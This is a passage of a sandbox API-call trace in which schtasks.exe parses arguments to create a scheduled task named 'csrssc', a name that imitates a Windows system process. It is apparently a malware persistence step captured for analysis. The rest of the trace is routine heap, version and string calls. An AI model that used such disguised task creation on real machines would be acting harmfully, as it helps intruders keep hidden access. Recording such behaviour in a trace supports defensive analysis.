(_Func=0xff6c2b80) returned 0xff6c2b80 [0058.453] _onexit (_Func=0xff6c2ba8) returned 0xff6c2ba8 [0058.453] _onexit (_Func=0xff6c2bd0) returned 0xff6c2bd0 [0058.453] _onexit (_Func=0xff6c2bf8) returned 0xff6c2bf8 [0058.453] _onexit (_Func=0xff6c2c20) returned 0xff6c2c20 [0058.453] _onexit (_Func=0xff6c2c48) returned 0xff6c2c48 [0058.453] _onexit (_Func=0xff6c2c70) returned 0xff6c2c70 [0058.453] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0058.453] WinSqmIsOptedIn () returned 0x0 [0058.454] GetProcessHeap () returned 0x50000 [0058.454] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x18) returned 0x65550 [0058.454] SetLastError (dwErrCode=0x0) [0058.454] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0058.454] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0058.454] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0058.454] VerifyVersionInfoW (in: lpVersionInformation=0x21f420, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0x21f420) returned 1 [0058.454] GetProcessHeap () returned 0x50000 [0058.454] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x18) returned 0x6bb10 [0058.454] lstrlenW (lpString="") returned 0 [0058.454] GetProcessHeap () returned 0x50000 [0058.454] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x2) returned 0x6bb30 [0058.455] GetProcessHeap () returned 0x50000 [0058.455] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x20) returned 0x65a40 [0058.455] GetProcessHeap () returned 0x50000 [0058.455] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x18) returned 0x6bb50 [0058.455] GetProcessHeap () returned 0x50000 [0058.455] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x20) returned 0x65a70 [0058.455] GetProcessHeap () returned 0x50000 [0058.455] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x20) returned 0x65aa0 [0058.455] GetProcessHeap () returned 0x50000 [0058.455] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x20) returned 0x65ad0 [0058.455] GetProcessHeap () returned 0x50000 [0058.455] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x20) returned 0x65b00 [0058.455] GetProcessHeap () returned 0x50000 [0058.455] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x18) returned 0x6bb70 [0058.455] GetProcessHeap () returned 0x50000 [0058.455] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x20) returned 0x65b30 [0058.455] GetProcessHeap () returned 0x50000 [0058.455] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x20) returned 0x65b60 [0058.455] GetProcessHeap () returned 0x50000 [0058.455] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x20) returned 0x65b90 [0058.455] GetProcessHeap () returned 0x50000 [0058.455] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x20) returned 0x65bc0 [0058.455] GetProcessHeap () returned 0x50000 [0058.455] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x18) returned 0x6bb90 [0058.455] GetProcessHeap () returned 0x50000 [0058.455] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x20) returned 0x65bf0 [0058.455] GetProcessHeap () returned 0x50000 [0058.455] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x20) returned 0x65c20 [0058.455] GetProcessHeap () returned 0x50000 [0058.455] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x20) returned 0x65c50 [0058.455] GetProcessHeap () returned 0x50000 [0058.455] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x20) returned 0x65c80 [0058.455] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0058.456] SetLastError (dwErrCode=0x0) [0058.456] GetProcessHeap () returned 0x50000 [0058.456] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x20) returned 0x65cb0 [0058.456] GetProcessHeap () returned 0x50000 [0058.456] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x20) returned 0x65ce0 [0058.456] GetProcessHeap () returned 0x50000 [0058.456] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x20) returned 0x65d10 [0058.456] GetProcessHeap () returned 0x50000 [0058.456] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x20) returned 0x65d40 [0058.456] GetProcessHeap () returned 0x50000 [0058.456] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x20) returned 0x65d70 [0058.456] GetProcessHeap () returned 0x50000 [0058.456] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x18) returned 0x6bbb0 [0058.456] _memicmp (_Buf1=0x6bbb0, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.456] GetProcessHeap () returned 0x50000 [0058.456] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x208) returned 0x6bd50 [0058.456] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x6bd50, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0058.456] LoadLibraryExA (lpLibFileName="VERSION.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefccf0000 [0058.459] GetProcAddress (hModule=0x7fefccf0000, lpProcName="GetFileVersionInfoSizeW") returned 0x7fefccf15fc [0058.459] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0058.460] GetProcessHeap () returned 0x50000 [0058.460] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x74e) returned 0x6c320 [0058.460] GetProcAddress (hModule=0x7fefccf0000, lpProcName="GetFileVersionInfoW") returned 0x7fefccf1614 [0058.460] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x6c320 | out: lpData=0x6c320) returned 1 [0058.460] GetProcAddress (hModule=0x7fefccf0000, lpProcName="VerQueryValueW") returned 0x7fefccf15e0 [0058.460] VerQueryValueW (in: pBlock=0x6c320, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x21f508, puLen=0x21f570 | out: lplpBuffer=0x21f508*=0x6c6bc, puLen=0x21f570) returned 1 [0058.462] _memicmp (_Buf1=0x6bbb0, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.462] _vsnwprintf (in: _Buffer=0x6bd50, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x21f4e8 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0058.463] VerQueryValueW (in: pBlock=0x6c320, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x21f578, puLen=0x21f568 | out: lplpBuffer=0x21f578*=0x6c4e8, puLen=0x21f568) returned 1 [0058.463] lstrlenW (lpString="schtasks.exe") returned 12 [0058.463] lstrlenW (lpString="schtasks.exe") returned 12 [0058.463] lstrlenW (lpString=".EXE") returned 4 [0058.463] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0058.464] lstrlenW (lpString="schtasks.exe") returned 12 [0058.464] lstrlenW (lpString=".EXE") returned 4 [0058.464] _memicmp (_Buf1=0x6bbb0, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.464] lstrlenW (lpString="schtasks") returned 8 [0058.464] GetProcessHeap () returned 0x50000 [0058.464] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x20) returned 0x65e60 [0058.464] GetProcessHeap () returned 0x50000 [0058.464] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x20) returned 0x6cc30 [0058.464] GetProcessHeap () returned 0x50000 [0058.464] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x20) returned 0x6cc60 [0058.464] GetProcessHeap () returned 0x50000 [0058.464] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x20) returned 0x6cc90 [0058.464] GetProcessHeap () returned 0x50000 [0058.464] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x18) returned 0x6bbd0 [0058.464] _memicmp (_Buf1=0x6bbd0, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.464] GetProcessHeap () returned 0x50000 [0058.464] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0xa0) returned 0x6c150 [0058.464] GetProcessHeap () returned 0x50000 [0058.464] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x20) returned 0x6ccc0 [0058.464] GetProcessHeap () returned 0x50000 [0058.464] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x20) returned 0x6ccf0 [0058.464] GetProcessHeap () returned 0x50000 [0058.465] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x20) returned 0x6cd20 [0058.465] GetProcessHeap () returned 0x50000 [0058.465] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x18) returned 0x6bbf0 [0058.465] _memicmp (_Buf1=0x6bbf0, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.465] GetProcessHeap () returned 0x50000 [0058.465] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x200) returned 0x6d400 [0058.465] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x6d400, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0058.465] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0058.465] GetProcessHeap () returned 0x50000 [0058.465] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x30) returned 0x67bd0 [0058.465] _vsnwprintf (in: _Buffer=0x6c150, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x21f4e8 | out: _Buffer="Type \"SCHTASKS /?\" for usage.") returned 29 [0058.465] GetProcessHeap () returned 0x50000 [0058.465] GetProcessHeap () returned 0x50000 [0058.465] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x6c320) returned 1 [0058.465] GetProcessHeap () returned 0x50000 [0058.465] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x6c320) returned 0x74e [0058.466] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x6c320 | out: hHeap=0x50000) returned 1 [0058.466] SetLastError (dwErrCode=0x0) [0058.466] GetThreadLocale () returned 0x409 [0058.466] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0058.466] lstrlenW (lpString="?") returned 1 [0058.466] GetThreadLocale () returned 0x409 [0058.466] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0058.467] lstrlenW (lpString="create") returned 6 [0058.467] GetThreadLocale () returned 0x409 [0058.467] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0058.467] lstrlenW (lpString="delete") returned 6 [0058.467] GetThreadLocale () returned 0x409 [0058.467] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0058.467] lstrlenW (lpString="query") returned 5 [0058.467] GetThreadLocale () returned 0x409 [0058.467] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0058.467] lstrlenW (lpString="change") returned 6 [0058.467] GetThreadLocale () returned 0x409 [0058.467] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0058.467] lstrlenW (lpString="run") returned 3 [0058.467] GetThreadLocale () returned 0x409 [0058.467] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0058.467] lstrlenW (lpString="end") returned 3 [0058.467] GetThreadLocale () returned 0x409 [0058.467] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0058.467] lstrlenW (lpString="showsid") returned 7 [0058.467] GetThreadLocale () returned 0x409 [0058.467] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0058.467] SetLastError (dwErrCode=0x0) [0058.467] SetLastError (dwErrCode=0x0) [0058.467] lstrlenW (lpString="/create") returned 7 [0058.467] lstrlenW (lpString="-/") returned 2 [0058.467] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0058.467] lstrlenW (lpString="?") returned 1 [0058.467] lstrlenW (lpString="?") returned 1 [0058.467] GetProcessHeap () returned 0x50000 [0058.467] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x18) returned 0x6c200 [0058.467] _memicmp (_Buf1=0x6c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.467] GetProcessHeap () returned 0x50000 [0058.467] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0xa) returned 0x6c320 [0058.467] lstrlenW (lpString="create") returned 6 [0058.468] GetProcessHeap () returned 0x50000 [0058.468] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x18) returned 0x6c340 [0058.468] _memicmp (_Buf1=0x6c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.468] GetProcessHeap () returned 0x50000 [0058.468] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x14) returned 0x6c360 [0058.468] _vsnwprintf (in: _Buffer=0x6c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21f4f8 | out: _Buffer="|?|") returned 3 [0058.468] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x9, _Format="|%s|", _ArgList=0x21f4f8 | out: _Buffer="|create|") returned 8 [0058.468] lstrlenW (lpString="|?|") returned 3 [0058.468] lstrlenW (lpString="|create|") returned 8 [0058.468] SetLastError (dwErrCode=0x490) [0058.468] lstrlenW (lpString="create") returned 6 [0058.468] lstrlenW (lpString="create") returned 6 [0058.468] _memicmp (_Buf1=0x6c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.468] GetProcessHeap () returned 0x50000 [0058.468] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x6c320) returned 1 [0058.468] GetProcessHeap () returned 0x50000 [0058.468] RtlReAllocateHeap (Heap=0x50000, Flags=0xc, Ptr=0x6c320, Size=0x14) returned 0x6c380 [0058.468] lstrlenW (lpString="create") returned 6 [0058.468] _memicmp (_Buf1=0x6c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.468] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x9, _Format="|%s|", _ArgList=0x21f4f8 | out: _Buffer="|create|") returned 8 [0058.468] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x9, _Format="|%s|", _ArgList=0x21f4f8 | out: _Buffer="|create|") returned 8 [0058.468] lstrlenW (lpString="|create|") returned 8 [0058.468] lstrlenW (lpString="|create|") returned 8 [0058.468] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0058.468] SetLastError (dwErrCode=0x0) [0058.468] SetLastError (dwErrCode=0x0) [0058.468] SetLastError (dwErrCode=0x0) [0058.468] lstrlenW (lpString="/tn") returned 3 [0058.468] lstrlenW (lpString="-/") returned 2 [0058.468] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0058.468] lstrlenW (lpString="?") returned 1 [0058.468] lstrlenW (lpString="?") returned 1 [0058.468] _memicmp (_Buf1=0x6c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.469] lstrlenW (lpString="tn") returned 2 [0058.469] _memicmp (_Buf1=0x6c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.469] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21f4f8 | out: _Buffer="|?|") returned 3 [0058.469] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f4f8 | out: _Buffer="|tn|") returned 4 [0058.469] lstrlenW (lpString="|?|") returned 3 [0058.469] lstrlenW (lpString="|tn|") returned 4 [0058.469] SetLastError (dwErrCode=0x490) [0058.469] lstrlenW (lpString="create") returned 6 [0058.469] lstrlenW (lpString="create") returned 6 [0058.469] _memicmp (_Buf1=0x6c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.469] lstrlenW (lpString="tn") returned 2 [0058.469] _memicmp (_Buf1=0x6c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.469] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x9, _Format="|%s|", _ArgList=0x21f4f8 | out: _Buffer="|create|") returned 8 [0058.469] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f4f8 | out: _Buffer="|tn|") returned 4 [0058.469] lstrlenW (lpString="|create|") returned 8 [0058.469] lstrlenW (lpString="|tn|") returned 4 [0058.469] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0058.469] SetLastError (dwErrCode=0x490) [0058.469] lstrlenW (lpString="delete") returned 6 [0058.469] lstrlenW (lpString="delete") returned 6 [0058.469] _memicmp (_Buf1=0x6c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.469] lstrlenW (lpString="tn") returned 2 [0058.469] _memicmp (_Buf1=0x6c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.469] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x9, _Format="|%s|", _ArgList=0x21f4f8 | out: _Buffer="|delete|") returned 8 [0058.469] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f4f8 | out: _Buffer="|tn|") returned 4 [0058.469] lstrlenW (lpString="|delete|") returned 8 [0058.469] lstrlenW (lpString="|tn|") returned 4 [0058.469] StrStrIW (lpFirst="|delete|", lpSrch="|tn|") returned 0x0 [0058.469] SetLastError (dwErrCode=0x490) [0058.469] lstrlenW (lpString="query") returned 5 [0058.470] lstrlenW (lpString="query") returned 5 [0058.470] _memicmp (_Buf1=0x6c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.470] lstrlenW (lpString="tn") returned 2 [0058.470] _memicmp (_Buf1=0x6c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.470] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x8, _Format="|%s|", _ArgList=0x21f4f8 | out: _Buffer="|query|") returned 7 [0058.470] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f4f8 | out: _Buffer="|tn|") returned 4 [0058.470] lstrlenW (lpString="|query|") returned 7 [0058.470] lstrlenW (lpString="|tn|") returned 4 [0058.470] StrStrIW (lpFirst="|query|", lpSrch="|tn|") returned 0x0 [0058.470] SetLastError (dwErrCode=0x490) [0058.470] lstrlenW (lpString="change") returned 6 [0058.470] lstrlenW (lpString="change") returned 6 [0058.470] _memicmp (_Buf1=0x6c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.470] lstrlenW (lpString="tn") returned 2 [0058.470] _memicmp (_Buf1=0x6c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.470] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x9, _Format="|%s|", _ArgList=0x21f4f8 | out: _Buffer="|change|") returned 8 [0058.470] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f4f8 | out: _Buffer="|tn|") returned 4 [0058.470] lstrlenW (lpString="|change|") returned 8 [0058.470] lstrlenW (lpString="|tn|") returned 4 [0058.470] StrStrIW (lpFirst="|change|", lpSrch="|tn|") returned 0x0 [0058.470] SetLastError (dwErrCode=0x490) [0058.470] lstrlenW (lpString="run") returned 3 [0058.470] lstrlenW (lpString="run") returned 3 [0058.470] _memicmp (_Buf1=0x6c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.470] lstrlenW (lpString="tn") returned 2 [0058.470] _memicmp (_Buf1=0x6c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.470] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x6, _Format="|%s|", _ArgList=0x21f4f8 | out: _Buffer="|run|") returned 5 [0058.470] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f4f8 | out: _Buffer="|tn|") returned 4 [0058.471] lstrlenW (lpString="|run|") returned 5 [0058.471] lstrlenW (lpString="|tn|") returned 4 [0058.471] StrStrIW (lpFirst="|run|", lpSrch="|tn|") returned 0x0 [0058.471] SetLastError (dwErrCode=0x490) [0058.471] lstrlenW (lpString="end") returned 3 [0058.471] lstrlenW (lpString="end") returned 3 [0058.471] _memicmp (_Buf1=0x6c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.471] lstrlenW (lpString="tn") returned 2 [0058.471] _memicmp (_Buf1=0x6c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.471] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x6, _Format="|%s|", _ArgList=0x21f4f8 | out: _Buffer="|end|") returned 5 [0058.471] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f4f8 | out: _Buffer="|tn|") returned 4 [0058.471] lstrlenW (lpString="|end|") returned 5 [0058.471] lstrlenW (lpString="|tn|") returned 4 [0058.471] StrStrIW (lpFirst="|end|", lpSrch="|tn|") returned 0x0 [0058.471] SetLastError (dwErrCode=0x490) [0058.471] lstrlenW (lpString="showsid") returned 7 [0058.471] lstrlenW (lpString="showsid") returned 7 [0058.471] _memicmp (_Buf1=0x6c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.471] GetProcessHeap () returned 0x50000 [0058.471] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x6c380) returned 1 [0058.471] GetProcessHeap () returned 0x50000 [0058.471] RtlReAllocateHeap (Heap=0x50000, Flags=0xc, Ptr=0x6c380, Size=0x16) returned 0x6c380 [0058.471] lstrlenW (lpString="tn") returned 2 [0058.471] _memicmp (_Buf1=0x6c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.471] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0xa, _Format="|%s|", _ArgList=0x21f4f8 | out: _Buffer="|showsid|") returned 9 [0058.471] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f4f8 | out: _Buffer="|tn|") returned 4 [0058.471] lstrlenW (lpString="|showsid|") returned 9 [0058.471] lstrlenW (lpString="|tn|") returned 4 [0058.471] StrStrIW (lpFirst="|showsid|", lpSrch="|tn|") returned 0x0 [0058.471] SetLastError (dwErrCode=0x490) [0058.472] SetLastError (dwErrCode=0x490) [0058.472] SetLastError (dwErrCode=0x0) [0058.472] lstrlenW (lpString="/tn") returned 3 [0058.472] StrChrIW (lpStart="/tn", wMatch=0x3a) returned 0x0 [0058.472] SetLastError (dwErrCode=0x490) [0058.472] SetLastError (dwErrCode=0x0) [0058.472] lstrlenW (lpString="/tn") returned 3 [0058.472] GetProcessHeap () returned 0x50000 [0058.472] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x8) returned 0x6c320 [0058.472] GetProcessHeap () returned 0x50000 [0058.472] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x20) returned 0x6cd50 [0058.472] SetLastError (dwErrCode=0x0) [0058.472] SetLastError (dwErrCode=0x0) [0058.472] lstrlenW (lpString="csrssc") returned 6 [0058.472] lstrlenW (lpString="-/") returned 2 [0058.472] StrChrIW (lpStart="-/", wMatch=0x63) returned 0x0 [0058.472] SetLastError (dwErrCode=0x490) [0058.472] SetLastError (dwErrCode=0x490) [0058.472] SetLastError (dwErrCode=0x0) [0058.472] lstrlenW (lpString="csrssc") returned 6 [0058.472] StrChrIW (lpStart="csrssc", wMatch=0x3a) returned 0x0 [0058.472] SetLastError (dwErrCode=0x490) [0058.472] SetLastError (dwErrCode=0x0) [0058.472] lstrlenW (lpString="csrssc") returned 6 [0058.472] GetProcessHeap () returned 0x50000 [0058.472] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0xe) returned 0x6c3b0 [0058.472] GetProcessHeap () returned 0x50000 [0058.472] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x20) returned 0x6cd80 [0058.472] SetLastError (dwErrCode=0x0) [0058.472] SetLastError (dwErrCode=0x0) [0058.472] lstrlenW (lpString="/sc") returned 3 [0058.472] lstrlenW (lpString="-/") returned 2 [0058.472] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0058.473] lstrlenW (lpString="?") returned 1 [0058.473] lstrlenW (lpString="?") returned 1 [0058.473] _memicmp (_Buf1=0x6c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.473] lstrlenW (lpString="sc") returned 2 [0058.473] _memicmp (_Buf1=0x6c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.473] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21f4f8 | out: _Buffer="|?|") returned 3 [0058.473] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f4f8 | out: _Buffer="|sc|") returned 4 [0058.473] lstrlenW (lpString="|?|") returned 3 [0058.473] lstrlenW (lpString="|sc|") returned 4 [0058.473] SetLastError (dwErrCode=0x490) [0058.473] lstrlenW (lpString="create") returned 6 [0058.473] lstrlenW (lpString="create") returned 6 [0058.473] _memicmp (_Buf1=0x6c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.473] lstrlenW (lpString="sc") returned 2 [0058.473] _memicmp (_Buf1=0x6c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.473] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x9, _Format="|%s|", _ArgList=0x21f4f8 | out: _Buffer="|create|") returned 8 [0058.473] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f4f8 | out: _Buffer="|sc|") returned 4 [0058.473] lstrlenW (lpString="|create|") returned 8 [0058.473] lstrlenW (lpString="|sc|") returned 4 [0058.473] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0058.473] SetLastError (dwErrCode=0x490) [0058.473] lstrlenW (lpString="delete") returned 6 [0058.473] lstrlenW (lpString="delete") returned 6 [0058.473] _memicmp (_Buf1=0x6c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.473] lstrlenW (lpString="sc") returned 2 [0058.473] _memicmp (_Buf1=0x6c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.473] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x9, _Format="|%s|", _ArgList=0x21f4f8 | out: _Buffer="|delete|") returned 8 [0058.473] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f4f8 | out: _Buffer="|sc|") returned 4 [0058.473] lstrlenW (lpString="|delete|") returned 8 [0058.473] lstrlenW (lpString="|sc|") returned 4 [0058.474] StrStrIW (lpFirst="|delete|", lpSrch="|sc|") returned 0x0 [0058.474] SetLastError (dwErrCode=0x490) [0058.474] lstrlenW (lpString="query") returned 5 [0058.474] lstrlenW (lpString="query") returned 5 [0058.474] _memicmp (_Buf1=0x6c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.474] lstrlenW (lpString="sc") returned 2 [0058.474] _memicmp (_Buf1=0x6c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.474] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x8, _Format="|%s|", _ArgList=0x21f4f8 | out: _Buffer="|query|") returned 7 [0058.474] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f4f8 | out: _Buffer="|sc|") returned 4 [0058.474] lstrlenW (lpString="|query|") returned 7 [0058.474] lstrlenW (lpString="|sc|") returned 4 [0058.474] StrStrIW (lpFirst="|query|", lpSrch="|sc|") returned 0x0 [0058.474] SetLastError (dwErrCode=0x490) [0058.474] lstrlenW (lpString="change") returned 6 [0058.474] lstrlenW (lpString="change") returned 6 [0058.474] _memicmp (_Buf1=0x6c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.474] lstrlenW (lpString="sc") returned 2 [0058.474] _memicmp (_Buf1=0x6c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.474] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x9, _Format="|%s|", _ArgList=0x21f4f8 | out: 